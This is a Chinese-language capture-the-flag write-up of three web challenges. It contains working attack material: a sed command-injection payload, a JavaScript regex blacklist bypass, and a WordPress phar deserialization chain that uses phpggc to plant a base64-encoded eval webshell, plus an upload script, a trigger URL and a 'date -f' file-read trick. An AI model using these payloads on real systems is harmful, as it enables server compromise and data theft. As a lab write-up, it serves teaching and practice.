Web

Webshell Generator

题目是一个Webshell生成的功能,可以填写Webshell的语言(只有PHP)、访问方法、Webshell密码(通过前端限制格式为[A-Za-z0-9])

生成完后会将其下载到本地

image-20240607190523741

通过抓包发现可以任意下载文件,经测试发现无权限读取flag

image-20240607190533034

尝试读取页面源码:/download.php?file=index.php&filename=webshell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
function security_validate()
{
foreach ($_POST as $key => $value) {
if (preg_match('/\r|\n/', $value)) {
die("$key 不能包含换行符!");
}
if (strlen($value) > 114) {
die("$key 不能超过114个字符!");
}
}
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
if ($_POST['language'] !== 'PHP') {
die("PHP是最好的语言");
}
$method = $_POST['method'];
$key = $_POST['key'];
putenv("METHOD=$method") or die("你的method太复杂了!");
putenv("KEY=$key") or die("你的key太复杂了!");
$status_code = -1;
$filename = shell_exec("sh generate.sh");
if (!$filename) {
die("生成失败了!");
}
$filename = trim($filename);
header("Location: download.php?file=$filename&filename={$_POST['filename']}");
exit();
}
?>

发现在代码中会调用sh generate.sh,可以得到相关代码:

1
/download.php?file=generate.sh&filename=webshell.php
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"

发现在generate.sh中会使用set -i将环境变量KEYMETHOD替换为文件中的内容,而php代码中使用putenv设置环境变量,所以只要控制其中一个或两个值即可

exp:提交key为

1
2
3
4
5
6
/g;e/readflag;s//

/g;:闭合前面的 s/
e:执行命令
/readflag;:提示中说运行这个即可获得flag
s//:闭合后面的/g

image-20240607190550342

image-20240607190554348

Wait What?

image-20240607190604100

查看源码发现每个函数里都存在着text()的方法,尝试从这里出发

审计代码,查找资料,得知在g全局模式下,重复调用test进行匹配会出现真假交替的情况

image-20240607190611970

所以如果能触发两次test方法可以绕过黑名单

image-20240607190617928

而更新正则对象的部分在try_catch中,所以如果报错就能阻止正则对象的更新,因为对象不能像数组那样遍历取值,所以用对象来报错

/api/ban_user接口传入{"username":"user","password":"user","ban_username":{"a":"b"}}

image-20240607190628711

发现利用报错成功阻止了正则对象的更新,接下来只需要利用admin的身份请求两次flag即可,第一次请求为了将ban_user名单替换成我们更新的user第二次则可以成功请求到flag

image-20240607190636955

ez_wordpress

先看提示:

image-20240607190651035

信息搜集直接用wpscan扫一下:

1
wpscan --url http://124.71.184.68:8012/ -e --api-token xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

根据提示,看下6.4.1版本的数据:

image-20240607190701298

是一个关于POP链的漏洞第三方链接

看文章后可以通过call_user_func,来找到反序列化链子

发现有all-in-one-video-gallery插件的漏洞

image-20240607190711659

该插件存在任意文件读取的cve,操控dl参数实现

再找到drag-and-drop-multiple-file-upload-contact-form-7的上传,参考Drag and Drop File Upload

根据提示以及结合上面的内容,可以知道利用任意文件上传+ssrf任意文件读取触发phar反序列化

通过phpggc生成phar文件

1
./phpggc WordPress/RCE2 system "echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7|base64 -d > a.php" -p phar -o a.png

然后上传文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://124.71.184.68:8012//wp-admin/admin-ajax.php"

data = {
"supported_type":"png",
"size_limit":"5242880",
"action":"dnd_codedropz_upload",
"type":"click",
"security":"b738e27dac"
}
r = requests.post(url,data=data,files={'upload-file':('logo.png',open('./a.png','rb'))}
)
print(r.content)

image-20240607190730380然后触发phar

1
http://124.71.184.68:8012/index.php/video/?dl=cGhhcjovLy92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3dwX2RuZGNmN191cGxvYWRzL3dwY2Y3LWZpbGVzL2xvZ28ucG5nL3Rlc3QudHh0

拿蚁剑连接

image-20240607190739159

连接成功,但是flag没有读取权限

image-20240607190750707

用date命令就拿到flag了

1
date -f /flag

image-20240607190757156